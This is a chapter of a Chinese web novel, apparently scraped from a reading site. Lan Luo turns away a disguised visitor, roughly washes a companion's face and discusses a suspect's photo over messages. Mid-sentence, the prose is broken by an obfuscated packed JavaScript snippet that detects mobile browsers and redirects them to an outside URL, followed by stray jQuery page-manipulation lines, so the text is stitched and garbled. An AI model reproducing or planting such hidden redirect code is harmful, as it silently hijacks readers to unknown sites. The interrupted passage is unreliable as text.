兰落从可视门铃看着外面略显局促的身影,眉心皱起——
胡娇芬?
她为什么会出现在这里?
兰落都快把胡娇芬这号人物忘记了,自从小息城她抱着那小孩的尸体消失后,他们就再也没见过了。
但她为什么会出现在兰升的葬礼上?
兰落看着胡娇芬身上统一的度假村工作服,没急着给她开门。
“什么事?”兰落用电子音问。
胡娇芬对着摄像头讨好地笑:“那个,领导听说您身体不适,估计您的医疗队还没到,派我过来看看。”
兰落没开门,看了一眼浴室里的冷娇娇,继续用电子音问:“你是医生?”
胡娇芬连忙摆手:“不算医生,但我懂一点医疗知识,也带了一些常用药。”
她把手里拎着的急救包举起来对准门铃,证明自己没有说谎。
兰落沉默几秒,盯着屏幕里映出来的胡娇芬,总觉得哪里很奇怪。
一个扎根荒城几十年的拾荒人,怎么突然变成未城高档度假村的工作人员了?
且不说胡娇芬是怎么面试成功的,以她的身份,就连进入未城都是一项难题吧。
“人离开,东西放门口。”兰落直觉不想开门,开始下逐客令。
胡娇芬把急救包放在地上,整理了一下衣领,后退两步说:“好嘞,给您放门口了,一定要记得拿,有任何问题都可以随时呼叫我们。”
兰落没再回话,沉默盯着屏幕。
胡娇芬转头走了几步,突然折返,堆着笑脸说:“要不您还是出来拿一下吧,我在这给您看着,防止有人不小心拿走了。”
这算什么?拾荒人的传统艺能吗?
兰落没理她,在屏幕里看见胡娇芬缓缓退下后就折回了浴室。
门外一退再退的胡娇芬却在走廊的转角抬起头,注视着门口小巧的摄像头。
她佝偻着背,捡起地上的拖把,完美地融入了度假村的背景里,丝毫不引人注目。
兰落进了浴室,事不关己问冷娇娇:“门外有工作人员送急救包,你要不要出去拿?”
冷娇娇没洗脸,但已经关上了水龙头,正对着镜子发呆,听到兰落的话下意识皱眉:“你就没长手?”
“长了,”兰落毫不在意她呛人的语气,“但我不愿意拿。”
“那就放着,”冷娇娇似乎恢复了一点精神,撑着洗手台翻白眼,“反正也送不来有用的东西。”
兰落倚着门,上下扫视她一下,把被胡娇芬打断的话题捡起来继续问:“你说是朝露干的?为什么?”
“什么朝露不朝露的?”冷娇娇飞快打开水龙头开到最大,哗哗的水流声在浴室里格外明显。
兰落把水龙头关上:“你自己说的,又是腹痛又是吐血,你说是朝……”
“当然是他们了!”冷娇娇拍开兰落的手,低头疯狂洗手,“都怪他们给我安排的行程太满了,我这是劳累过度,是工伤!工伤!”
兰落看着她不似作伪的样子,也觉得是自己太过敏感了,与其怀疑冷娇娇,她还不如多关注一下突然冒出来的胡娇芬。
“他们已经快到了,等会儿需要你去接应一下,”兰落换了个话题,“快点把自己收拾干净。”
冷娇娇抽了一张纸巾,对着镜子细细擦拭下巴:“你去不就行了,反正你现在是我助理。”
兰落夺过冷娇娇手里的纸巾:“我想,他们再蠢,也不至于分不清男女。”
稍微了解冷娇娇的人都知道她现在的助理是男性,半山腰那群军校派来的人也是看着冷娇娇带着男助理上山的,现在突然变成女人,谁会信?
再说了,万一运气差碰到银肃,更是麻烦。
兰升的葬礼,明面上是一场葬礼,实际上远不止如此。
兰家既要摆好丧子之痛的牌匾,又要明里暗里对前来吊唁的客人献殷勤,而来这里的人,又不知道有多少是带着巴结军校的想法来的。
所以兰父兰母联合军校,要把这场丧宴摆满整整三天。
也就是说,她有三天的时间留在这里,在兰父兰母和银肃,——甚至是陆观的眼皮子底下晃悠。
冷娇娇神色却滞了一瞬,然后嗤笑一声,低头喃喃:“这可不一定。”
兰落不耐烦了,也不跟她废话,直接左手掐住冷娇娇的后脖子,右手掬起一捧水就往她脸上泼。
“咳咳咳!”冷娇娇被水呛到咳嗽,双手交叉护在脸上,“你突然发什么神经?!”
“帮你节省时间。”
兰落说完,又用了一点力气,把冷娇娇的脑袋压低靠近水龙头。
她脸上没有表情,无比自然地往冷娇娇脸上泼了一捧又一捧的水,把她整张脸连带着额前的发丝都打湿到滴水的程度。
“别!”
冷娇娇人在陆地,却像溺水了似的疯狂挣扎:“别这样,别这样弄我!”
兰落不听,剩下的时间没多少了,按照冷娇娇慢条斯理的动作,擦一百年也擦不干净。
冷娇娇一直在挣扎,为了方便,兰落直接用胳膊夹住了她的上半身,固定住她乱扑腾的双手。
兰落比冷娇娇还矮了一点,但力气却比她大很多,轻而易举就制服了她。
被兰落半是胁迫半是搂着,冷娇娇的挣扎也渐渐小了,认命一样缩在兰落的手臂里。
兰落扯过毛巾打湿,直接拍在了冷娇娇的脸上用力揉搓,一点儿也没有怜香惜玉的意识。
冷娇娇仰着脑袋一动不动,直到兰落揉搓够了停手,才抬起两根细细的手指把毛巾拽下来。
她的脸已经被揉得发红,眼睛里映着浴室的灯光,发丝微乱,呼吸也乱。
冷娇娇站得不直,全靠兰落的力气保持直立,因此只能仰头看兰落。
她眨了眨眼睛,看着兰落的耳朵小声说:“你不能这样的,你知道吗?”
兰落看冷娇娇的脸也差不多擦干净了,懒得理她莫名其妙的柔弱人设,松开她自顾自洗手。
“把头发吹一下,衣服换一下,准备出门。”兰落擦干净手,从镜子里看冷娇娇。
冷娇娇一直在看她,眼神很复杂。
不知道是不是浴室灯光的问题,她的眼睛看起来格外水润,乍一看还以为哭过了。
兰落回头看她:“你聋了?”
冷娇娇偏过脑袋:“你站在那我怎么吹头发?”
兰落看了一眼,吹风机确实在自己手边,于是抬脚离开浴室,留冷娇娇自己呆在里面吹头发。
祝见尘又发来了消息,兰落点开,映入眼帘的就是一张模糊的背影照片。
“你说的不会是他吧?”他问。
兰落挑了挑眉,她是没想到祝见尘还有心思偷拍别人,果然松弛的人到哪里都跟回家一样。
她点开照片放大,从祝见尘拍到的的半个侧脸认出了银肃,他背对着道路,面朝草地站在路边,半个眼神都没有分给别
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16306878|174937||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
人。
祝见尘的拍照技术很奇特,虽然画质模糊视角像老鼠,但意外地把银肃拍得很高大,背影甚至透露出一股寂寥。
“你怎么认出的?”她问。
祝见尘回得飞快:“还真是他!”
“我目测我们快到了哦,你可以准备好迎接庸医们了。”
他先说明了一下他们的位置,然后才开始解释:“刚开始没看到他,我就边走边找,看见一个男的背对着我们站在路边,就注意了一下。”
“你别关注他了,我觉得他这个姿势很有可能在随地大小便,真的。”
兰落觉得有点好笑,祝见尘的脑子为什么总是奇奇怪怪的?
她还没来得及回复,浴室门就“哗”的一声被打开了。
冷娇娇头发干爽蓬松,穿着一件宽松白t恤,臭着脸站在浴室门口,看都不看兰落,径直坐在沙发上。
她走路很用力,拖鞋“啪嗒”“啪嗒”轻响,沙发也被她坐出一个小坑。
兰落心情好,没计较冷娇娇突如其来的脾气。
她遇见的男男女女似乎脑子都不太好,总是莫名其妙情绪异常。
“哈喽,你怎么不说话了?”祝见尘已经发了新消息过来,“你不会在看他的照片吧??”
“别看了,伤风败俗!!”
可能兰落一直没回复,祝见尘说了一会儿银肃的坏话就开始不解:
“怎么回事,你们为什么一个两个都要盯着他看?他很有名吗??我怎么看不出他有什么魅力呢?是不是我视力太好了?”
兰落却从他一堆废话里捕捉到了关键词,敲敲打打:“都?还有谁在看他?”
“你连这个都要管?”祝见尘不情不愿。
“那个开车的脾气很差的短发女生啊,她偷偷瞄那男的好几眼了,要不是我也在关注的话,根本发现不了。”
祝见尘连银烟的名字都没记住,但他描述的特征很鲜明,兰落瞬间就反应过来他说的是银烟。
银烟在偷瞄银肃。
兰落把这两人的名字在心里默念了好几遍,又盯着银肃的照片翻来覆去看。
军校方一直对外说兰升是死于野兽之手,从没有怀疑过人为,更没有通缉过她。
假设银肃当初真的瞒下了兰落开枪伤到他的事情,让军校没有怀疑对象,他的理由是什么呢?
是因为太自大了,没办法说出自己被一个年轻女生打伤的事实吗?
除此之外,兰落完全想不出他“包庇”自己的原因,除非真的和银烟这个同姓女人有关。
可她甚至是离开小息城之后才遇到的银烟。
“哟!”
冷娇娇凑上来,嘲讽道:“还在看呢?之前你就一直盯着他看,没想到通讯器里还要私藏照片,真是……”
“闭上你的嘴。”兰落熄灭通讯器。
冷娇娇撇撇嘴,哼了一声:“我劝你别费劲了,恋爱脑没有好下场,何况是违法犯罪的恋爱脑。”
“我不是恋爱脑,”兰落起身,故意推了冷娇娇一把,“但你是真的猪脑。”
冷娇娇这个人,有时候真的非常人如其名,偶尔冷淡时常娇气,大部分情况下脑子不好使。
口袋里的通讯器嗡嗡振动,兰落不用掏就知道是祝见尘在报备位置。
——因为她已经听见门外杂乱又熟悉的脚步声了。
与此同时,走廊上勤恳拖地的女人捶捶腰,再次整理了一下衣领。